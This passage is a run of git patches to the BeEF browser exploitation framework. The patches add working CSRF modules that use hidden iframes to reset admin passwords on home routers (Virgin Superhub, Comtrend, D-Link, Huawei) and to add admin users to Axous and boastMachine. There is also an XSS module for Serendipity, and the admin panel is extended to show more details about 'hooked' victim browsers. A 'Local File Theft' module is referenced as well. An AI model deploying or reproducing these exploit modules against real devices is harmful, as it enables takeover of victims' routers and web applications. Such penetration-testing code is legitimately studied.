For more information see: http://www.exploit-db.com/exploits/18884/" + authors: ["bcoles", "Stefan Schurtz"] + target: + working: ["ALL"] diff --git a/modules/exploits/xss/serendipity_1.6_xss/module.rb b/modules/exploits/xss/serendipity_1.6_xss/module.rb new file mode 100644 index 000000000..cf46a83d1 --- /dev/null +++ b/modules/exploits/xss/serendipity_1.6_xss/module.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Serendipity_1_6_xss < BeEF::Core::Command + + def self.options + + configuration = BeEF::Core::Configuration.instance + hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js" + + return [ + {'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://target/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]=\'"'} + ] + + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 771d6d60f9cb077c62e6d163e3ac7e1a8c89576f Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 24 Jun 2012 15:22:35 +0930 Subject: [PATCH 016/225] Added Virgin Superhub CSRF module Fixes issue #703 --- .../router/virgin_superhub_csrf/command.js | 35 +++++++++++++++++++ .../router/virgin_superhub_csrf/config.yaml | 25 +++++++++++++ .../router/virgin_superhub_csrf/module.rb | 29 +++++++++++++++ 3 files changed, 89 insertions(+) create mode 100644 modules/exploits/router/virgin_superhub_csrf/command.js create mode 100644 modules/exploits/router/virgin_superhub_csrf/config.yaml create mode 100644 modules/exploits/router/virgin_superhub_csrf/module.rb diff --git a/modules/exploits/router/virgin_superhub_csrf/command.js b/modules/exploits/router/virgin_superhub_csrf/command.js new file mode 100644 index 000000000..5acb91421 --- /dev/null +++ b/modules/exploits/router/virgin_superhub_csrf/command.js @@ -0,0 +1,35 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var gateway = '<%= @base %>'; + var passwd = '<%= @password %>'; + + var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "/goform/RgSecurity", "POST", [ + {'type':'hidden', 'name':'NetgearPassword', 'value':passwd} , + {'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd}, + {'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'} + ]); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(virgin_superhub_iframe); + } + setTimeout("cleanup()", 15000); + +}); + diff --git a/modules/exploits/router/virgin_superhub_csrf/config.yaml b/modules/exploits/router/virgin_superhub_csrf/config.yaml new file mode 100644 index 000000000..11c11a548 --- /dev/null +++ b/modules/exploits/router/virgin_superhub_csrf/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + virgin_superhub_csrf: + enable: true + category: ["Exploits", "Router"] + name: "Virgin Superhub CSRF" + description: "Attempts to change the admin password on a Virgin Superhub router." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/exploits/router/virgin_superhub_csrf/module.rb b/modules/exploits/router/virgin_superhub_csrf/module.rb new file mode 100644 index 000000000..8a2e5a2d1 --- /dev/null +++ b/modules/exploits/router/virgin_superhub_csrf/module.rb @@ -0,0 +1,29 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Virgin_superhub_csrf < BeEF::Core::Command + + def self.options + return [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.254/'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 1bf9061c1ab45d871bbeb2b02e9bb493b191f0e8 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 24 Jun 2012 17:10:37 +0930 Subject: [PATCH 017/225] Added a couple of CSRF modules: o ./modules/exploits/boastmachine_3_1_add_user_csrf/ o ./modules/exploits/axous_1_1_1_add_user_csrf/ Updated a few exploit titles --- .../axous_1_1_1_add_user_csrf/command.js | 40 ++++++++++++++++++ .../axous_1_1_1_add_user_csrf/config.yaml | 25 +++++++++++ .../axous_1_1_1_add_user_csrf/module.rb | 31 ++++++++++++++ .../boastmachine_3_1_add_user_csrf/command.js | 41 +++++++++++++++++++ .../config.yaml | 25 +++++++++++ .../boastmachine_3_1_add_user_csrf/module.rb | 31 ++++++++++++++ .../config.yaml | 2 +- .../exploits/zenoss_add_user_csrf/config.yaml | 2 +- .../exploits/zenoss_daemon_csrf/config.yaml | 2 +- 9 files changed, 196 insertions(+), 3 deletions(-) create mode 100644 modules/exploits/axous_1_1_1_add_user_csrf/command.js create mode 100644 modules/exploits/axous_1_1_1_add_user_csrf/config.yaml create mode 100644 modules/exploits/axous_1_1_1_add_user_csrf/module.rb create mode 100644 modules/exploits/boastmachine_3_1_add_user_csrf/command.js create mode 100644 modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml create mode 100644 modules/exploits/boastmachine_3_1_add_user_csrf/module.rb diff --git a/modules/exploits/axous_1_1_1_add_user_csrf/command.js b/modules/exploits/axous_1_1_1_add_user_csrf/command.js new file mode 100644 index 000000000..bfa12a6a6 --- /dev/null +++ b/modules/exploits/axous_1_1_1_add_user_csrf/command.js @@ -0,0 +1,40 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var base = '<%= @base %>'; + var username = '<%= @username %>'; + var password = '<%= @password %>'; + var email = '<%= @email %>'; + + var axous_iframe = beef.dom.createIframeXsrfForm(base, "POST", [ + {'type':'hidden', 'name':'user_name', 'value':username}, + {'type':'hidden', 'name':'new_passwd', 'value':password}, + {'type':'hidden', 'name':'new_passwd1', 'value':password}, + {'type':'hidden', 'name':'email', 'value':email}, + {'type':'hidden', 'name':'dosubmit', 'value':'1'} , + {'type':'hidden', 'name':'id', 'value':''}, + {'type':'hidden', 'name':'action', 'value':'addnew'} , + ]); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(axous_iframe); + } + setTimeout("cleanup()", 15000); + +}); + diff --git a/modules/exploits/axous_1_1_1_add_user_csrf/config.yaml b/modules/exploits/axous_1_1_1_add_user_csrf/config.yaml new file mode 100644 index 000000000..4231dc7e8 --- /dev/null +++ b/modules/exploits/axous_1_1_1_add_user_csrf/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + axous_add_user_csrf: + enable: true + category: "Exploits" + name: "Axous <= 1.1.1 Add User CSRF" + description: "Attempts to add a user to an Axous <= 1.1.1 install (CVE-2012-2629)." + authors: ["bcoles", "Ivano Binetti"] + target: + working: ["ALL"] diff --git a/modules/exploits/axous_1_1_1_add_user_csrf/module.rb b/modules/exploits/axous_1_1_1_add_user_csrf/module.rb new file mode 100644 index 000000000..ba7f8e63e --- /dev/null +++ b/modules/exploits/axous_1_1_1_add_user_csrf/module.rb @@ -0,0 +1,31 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Axous_add_user_csrf < BeEF::Core::Command + + def self.options + return [ + { 'name' => 'base', 'ui_label' => 'Axous URL', 'value' => 'http://target/admin/administrators_add.php'}, + { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username'}, + { 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password'}, + { 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => 'email@example.com'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/exploits/boastmachine_3_1_add_user_csrf/command.js b/modules/exploits/boastmachine_3_1_add_user_csrf/command.js new file mode 100644 index 000000000..7e312ae66 --- /dev/null +++ b/modules/exploits/boastmachine_3_1_add_user_csrf/command.js @@ -0,0 +1,41 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var base = '<%= @base %>'; + var username = '<%= @username %>'; + var password = '<%= @password %>'; + var email = '<%= @email %>'; + + var boastmachine_iframe = beef.dom.createIframeXsrfForm(base, "POST", [ + {'type':'hidden', 'name':'action', 'value':'add_user'}, + {'type':'hidden', 'name':'do', 'value':'add'}, + {'type':'hidden', 'name':'user_login', 'value':username}, + {'type':'hidden', 'name':'user_pass', 'value':password}, + {'type':'hidden', 'name':'user_name', 'value':username}, + {'type':'hidden', 'name':'user_email', 'value':email}, + {'type':'hidden', 'name':'blogs[]', 'value':'4'}, + {'type':'hidden', 'name':'user_level', 'value':'4'}, + ]); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(boastmachine_iframe); + } + setTimeout("cleanup()", 15000); + +}); + diff --git a/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml b/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml new file mode 100644 index 000000000..f754f84f7 --- /dev/null +++ b/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + boastmachine_add_user_csrf: + enable: true + category: "Exploits" + name: "boastMachine <= 3.1 Add User CSRF" + description: "Attempts to add a user to a boastMachine <= 3.1 install." + authors: ["bcoles", "Dr.NaNo"] + target: + working: ["ALL"] diff --git a/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb b/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb new file mode 100644 index 000000000..0fcdc068b --- /dev/null +++ b/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb @@ -0,0 +1,31 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Boastmachine_add_user_csrf < BeEF::Core::Command + + def self.options + return [ + { 'name' => 'base', 'ui_label' => 'boastMachine URL', 'value' => 'http://target/bmc/admin.php?action=add_user&blog'}, + { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username'}, + { 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password'}, + { 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => 'email@example.com'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/exploits/spring_framework_malicious_jar/config.yaml b/modules/exploits/spring_framework_malicious_jar/config.yaml index 87d59d542..1dbaace8f 100644 --- a/modules/exploits/spring_framework_malicious_jar/config.yaml +++ b/modules/exploits/spring_framework_malicious_jar/config.yaml @@ -18,7 +18,7 @@ beef: spring_framework_malicious_jar: enable: true category: "Exploits" - name: "Spring Framework Malicious Jar" + name: "Spring Framework Malicious Jar Exploit" description: "Execute a malicious JAR file using the Spring Framework 'class.classloader' vulnerability (CVE-2010-1622).
Specify the URL for a form controller on the target and the URL for your malicious JAR file.
For more information see: http://www.exploit-db.com/exploits/13918/

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)" authors: ["bcoles"] target: diff --git a/modules/exploits/zenoss_add_user_csrf/config.yaml b/modules/exploits/zenoss_add_user_csrf/config.yaml index 3ae083e7a..eaf9a25f5 100644 --- a/modules/exploits/zenoss_add_user_csrf/config.yaml +++ b/modules/exploits/zenoss_add_user_csrf/config.yaml @@ -18,7 +18,7 @@ beef: zenoss_add_user_csrf: enable: true category: "Exploits" - name: "Zenoss Add User CSRF" + name: "Zenoss <= 3.2.1 Add User CSRF" description: "Attempts to add a user to a Zenoss Core <= 3.2.1 server." authors: ["bcoles"] target: diff --git a/modules/exploits/zenoss_daemon_csrf/config.yaml b/modules/exploits/zenoss_daemon_csrf/config.yaml index 9249f7d99..923946d5d 100644 --- a/modules/exploits/zenoss_daemon_csrf/config.yaml +++ b/modules/exploits/zenoss_daemon_csrf/config.yaml @@ -18,7 +18,7 @@ beef: zenoss_daemon_csrf: enable: true category: "Exploits" - name: "Zenoss Daemon CSRF" + name: "Zenoss <= 3.2.1 Daemon CSRF" description: "Attempts to start/stop/restart daemons on a Zenoss Core <= 3.2.1 server." authors: ["bcoles"] target: From 71133869e49f11714d7e9c1e1848d9285333fa19 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 24 Jun 2012 20:36:10 +0930 Subject: [PATCH 018/225] Added browser details to Hooked Browser balloon messages Fixes issue #521 --- core/main/models/browserdetails.rb | 2 +- .../admin_ui/controllers/panel/panel.rb | 34 ++++++++++----- .../media/javascript/ui/panel/ZombiesMgr.js | 43 ++++++++++++++----- .../javascript/ui/panel/zombiesTreeList.js | 4 +- 4 files changed, 59 insertions(+), 24 deletions(-) diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb index 0cd114c75..8a8f79c61 100644 --- a/core/main/models/browserdetails.rb +++ b/core/main/models/browserdetails.rb @@ -62,7 +62,7 @@ module Models browserdetails end - + # # Returns the icon representing the browser type the # hooked browser is using (i.e. Firefox, Internet Explorer) diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index f50adb121..c67ec41f7 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -84,18 +84,30 @@ class Panel < BeEF::Extension::AdminUI::HttpController # create a hash of simple hooked browser details def get_simple_hooked_browser_hash(hooked_browser) - - browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) - os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) - domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') - + + browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName') + browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion') + browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) + os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) + os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') + domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') + has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') + has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') + date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') + return { - 'session' => hooked_browser.session, - 'ip' => hooked_browser.ip, - 'domain' => domain, - 'port' => hooked_browser.port.to_s, - 'browser_icon' => browser_icon, - 'os_icon' => os_icon + 'session' => hooked_browser.session, + 'ip' => hooked_browser.ip, + 'domain' => domain, + 'port' => hooked_browser.port.to_s, + 'browser_name' => browser_name, + 'browser_version' => browser_version, + 'browser_icon' => browser_icon, + 'os_icon' => os_icon, + 'os_name' => os_name, + 'has_flash' => has_flash, + 'has_web_sockets' => has_web_sockets, + 'date_stamp' => date_stamp } end diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index c764f94cf..964e586a4 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -20,18 +20,41 @@ var ZombiesMgr = function(zombies_tree_lists) { // this is a helper class to create a zombie object from a JSON hash index this.zombieFactory = function(index, zombie_array){ - text = " "; - text += " "; - text += zombie_array[index]["ip"]; + + var ip = zombie_array[index]["ip"]; + var session = zombie_array[index]["session"]; + var browser_name = zombie_array[index]["browser_name"]; + var browser_version = zombie_array[index]["browser_version"]; + var browser_icon = zombie_array[index]["browser_icon"]; + var os_icon = zombie_array[index]["os_icon"]; + var os_name = zombie_array[index]["os_name"]; + var domain = zombie_array[index]["domain"]; + var port = zombie_array[index]["port"]; + var has_flash = zombie_array[index]["has_flash"]; + var has_web_sockets = zombie_array[index]["has_web_sockets"]; + var date_stamp = zombie_array[index]["date_stamp"]; + + text = " "; + text+= " "; + text+= ip; + + balloon_text = "IP: "+ip; + balloon_text+= "
Browser: " + browser_name + " " + browser_version; + balloon_text+= "
System: " + os_name; + balloon_text+= "
Domain: " + domain + ":" + port; + balloon_text+= "
Flash: " + has_flash; + balloon_text+= "
Web Sockets: " + has_web_sockets; + balloon_text+= "
Date: " + date_stamp; var new_zombie = { - 'id' : index, - 'ip' : zombie_array[index]["ip"], - 'session' : zombie_array[index]["session"], - 'text': text, - 'check' : false, - 'domain' : zombie_array[index]["domain"], - 'port' : zombie_array[index]["port"] + 'id' : index, + 'ip' : ip, + 'session' : session, + 'text' : text, + 'balloon_text' : balloon_text, + 'check' : false, + 'domain' : domain, + 'port' : port }; return new_zombie; diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js index 247a44fe9..aa04f300f 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js +++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js @@ -196,7 +196,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { var exists = this.getNodeById(hb_id); if(exists) return; - hooked_browser.qtip = hooked_browser.text + ' hooked on ' + hooked_browser.domain + ":" + hooked_browser.port; + hooked_browser.qtip = hooked_browser.balloon_text; //save a new online HB if(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) { @@ -220,7 +220,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { //creates a new node for that hooked browser node = new Ext.tree.TreeNode(hooked_browser); - + //creates a sub-branch for that HB if necessary mother_node = this.addSubFolder(mother_node, hooked_browser[this.tree_configuration['sub-branch']], checkbox); From ebe205ad36b010130e6eb729895e9c2668659100 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 24 Jun 2012 20:44:06 +0930 Subject: [PATCH 019/225] Updated a couple of module configs modules/exploits/router/virgin_superhub_csrf/config.yaml modules/misc/local_file_theft/config.yaml --- modules/exploits/router/virgin_superhub_csrf/config.yaml | 2 +- modules/misc/local_file_theft/config.yaml | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/router/virgin_superhub_csrf/config.yaml b/modules/exploits/router/virgin_superhub_csrf/config.yaml index 11c11a548..8d7a7a3c9 100644 --- a/modules/exploits/router/virgin_superhub_csrf/config.yaml +++ b/modules/exploits/router/virgin_superhub_csrf/config.yaml @@ -20,6 +20,6 @@ beef: category: ["Exploits", "Router"] name: "Virgin Superhub CSRF" description: "Attempts to change the admin password on a Virgin Superhub router." - authors: ["bcoles"] + authors: ["bcoles", "n0x00"] target: working: ["ALL"] diff --git a/modules/misc/local_file_theft/config.yaml b/modules/misc/local_file_theft/config.yaml index 4c44194e1..d6b2c0be4 100644 --- a/modules/misc/local_file_theft/config.yaml +++ b/modules/misc/local_file_theft/config.yaml @@ -23,7 +23,7 @@ beef: enable: true category: "Misc" name: "Local File Theft" - description: "Javascript may have filesystem access if we are running from a local resource and using the file:// scheme. This module checks common locations and cheekily snaches anything it finds. Shamelessly plagurised from http://kos.io/xsspwn. To test this module save the BeEF hook page locally and open in safari from the your localfile system." + description: "JavaScript may have filesystem access if we are running from a local resource and using the file:// scheme.
This module checks common locations and cheekily snaches anything it finds. Shamelessly plagurised from http://kos.io/xsspwn. To test this module save the BeEF hook page locally and open in Safari from the your localfile system." authors: ["mh"] target: - working: ["All"] + working: ["S"] From 7fde875d8ac36f21066e9bed29fbc1fe4783e0c7 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 24 Jun 2012 22:21:19 +0930 Subject: [PATCH 020/225] Changed default target IP address to `http://192.168.100.1/` for the virgin_superhub_csrf module --- modules/exploits/router/virgin_superhub_csrf/module.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/router/virgin_superhub_csrf/module.rb b/modules/exploits/router/virgin_superhub_csrf/module.rb index 8a2e5a2d1..28684484d 100644 --- a/modules/exploits/router/virgin_superhub_csrf/module.rb +++ b/modules/exploits/router/virgin_superhub_csrf/module.rb @@ -17,7 +17,7 @@ class Virgin_superhub_csrf < BeEF::Core::Command def self.options return [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.254/'}, + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.100.1/'}, {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} ] end From 9440afacc91add3e54c64d5838b5d8ffa42544de Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 25 Jun 2012 00:57:26 +0930 Subject: [PATCH 021/225] Removed duplicate `/` from a few CSRF URLs Just in case it causes issues --- modules/exploits/router/comtrend_ct5367_csrf/command.js | 4 ++-- modules/exploits/router/comtrend_ct5624_csrf/command.js | 2 +- modules/exploits/router/dlink_dsl500t_csrf/command.js | 2 +- modules/exploits/router/huawei_smartax_mt880/command.js | 2 +- modules/exploits/router/virgin_superhub_csrf/command.js | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/router/comtrend_ct5367_csrf/command.js b/modules/exploits/router/comtrend_ct5367_csrf/command.js index fdbedec46..d713b6b06 100644 --- a/modules/exploits/router/comtrend_ct5367_csrf/command.js +++ b/modules/exploits/router/comtrend_ct5367_csrf/command.js @@ -18,12 +18,12 @@ beef.execute(function() { var passwd = '<%= @password %>'; var ct5367_iframe1 = beef.dom.createInvisibleIframe(); - ct5367_iframe1.setAttribute('src', gateway+'/scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3'); + ct5367_iframe1.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3'); var ct5367_iframe2 = beef.dom.createInvisibleIframe(); var form = document.createElement('form'); - form.setAttribute('action', gateway + "/password.cgi"); + form.setAttribute('action', gateway + "password.cgi"); form.setAttribute('method', 'post'); var input = null; diff --git a/modules/exploits/router/comtrend_ct5624_csrf/command.js b/modules/exploits/router/comtrend_ct5624_csrf/command.js index b6cc7ab28..afe248983 100644 --- a/modules/exploits/router/comtrend_ct5624_csrf/command.js +++ b/modules/exploits/router/comtrend_ct5624_csrf/command.js @@ -18,7 +18,7 @@ beef.execute(function() { var passwd = '<%= @password %>'; var ct5367_iframe1 = beef.dom.createInvisibleIframe(); - ct5367_iframe1.setAttribute('src', gateway+'/scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3'); + ct5367_iframe1.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3'); var ct5367_iframe2 = beef.dom.createInvisibleIframe(); ct5367_iframe2.setAttribute('src', gateway+'/password.cgi?usrPassword='+passwd+'&sysPassword='+passwd+'&sptPassword='+passwd); diff --git a/modules/exploits/router/dlink_dsl500t_csrf/command.js b/modules/exploits/router/dlink_dsl500t_csrf/command.js index ae1c98e23..f25c89a5b 100644 --- a/modules/exploits/router/dlink_dsl500t_csrf/command.js +++ b/modules/exploits/router/dlink_dsl500t_csrf/command.js @@ -17,7 +17,7 @@ beef.execute(function() { var gateway = '<%= @base %>'; var passwd = '<%= @password %>'; - var dsl500t_iframe = beef.dom.createIframeXsrfForm(gateway + "/cgi-bin/webcm", "POST", + var dsl500t_iframe = beef.dom.createIframeXsrfForm(gateway + "cgi-bin/webcm", "POST", [{'type':'hidden', 'name':'getpage', 'value':'../html/tools/usrmgmt.htm'} , {'type':'hidden', 'name':'security:settings/username', 'value':'admin'}, {'type':'hidden', 'name':'security:settings/password', 'value':passwd}, diff --git a/modules/exploits/router/huawei_smartax_mt880/command.js b/modules/exploits/router/huawei_smartax_mt880/command.js index a749117a8..bfe98e957 100644 --- a/modules/exploits/router/huawei_smartax_mt880/command.js +++ b/modules/exploits/router/huawei_smartax_mt880/command.js @@ -19,7 +19,7 @@ beef.execute(function() { var passwd = '<%= @password %>'; var huawei_smartax_mt880_iframe = beef.dom.createInvisibleIframe(); - huawei_smartax_mt880_iframe.setAttribute('src', gateway+"/Action?user_id="+username+"&priv=1&pass1="+passwd+"&pass2="+passwd+"&id=70"); + huawei_smartax_mt880_iframe.setAttribute('src', gateway+"Action?user_id="+username+"&priv=1&pass1="+passwd+"&pass2="+passwd+"&id=70"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); diff --git a/modules/exploits/router/virgin_superhub_csrf/command.js b/modules/exploits/router/virgin_superhub_csrf/command.js index 5acb91421..3c84ee315 100644 --- a/modules/exploits/router/virgin_superhub_csrf/command.js +++ b/modules/exploits/router/virgin_superhub_csrf/command.js @@ -18,7 +18,7 @@ beef.execute(function() { var gateway = '<%= @base %>'; var passwd = '<%= @password %>'; - var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "/goform/RgSecurity", "POST", [ + var virgin_superhub_iframe = beef.dom.createIframeXsrfForm(gateway + "goform/RgSecurity", "POST", [ {'type':'hidden', 'name':'NetgearPassword', 'value':passwd} , {'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd}, {'type':'hidden', 'name':'RestoreFactoryNo', 'value':'0x00'} From 268ef4588f54635462829def863ad2532ffec5b3 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 25 Jun 2012 01:35:33 +0930 Subject: [PATCH 022/225] Added device/hardware detection --- core/core.rb | 1 + core/filters/browser.rb | 10 +++ core/main/client/browser.js | 2 + core/main/client/hardware.js | 74 ++++++++++++++++++ core/main/client/os.js | 20 ++++- 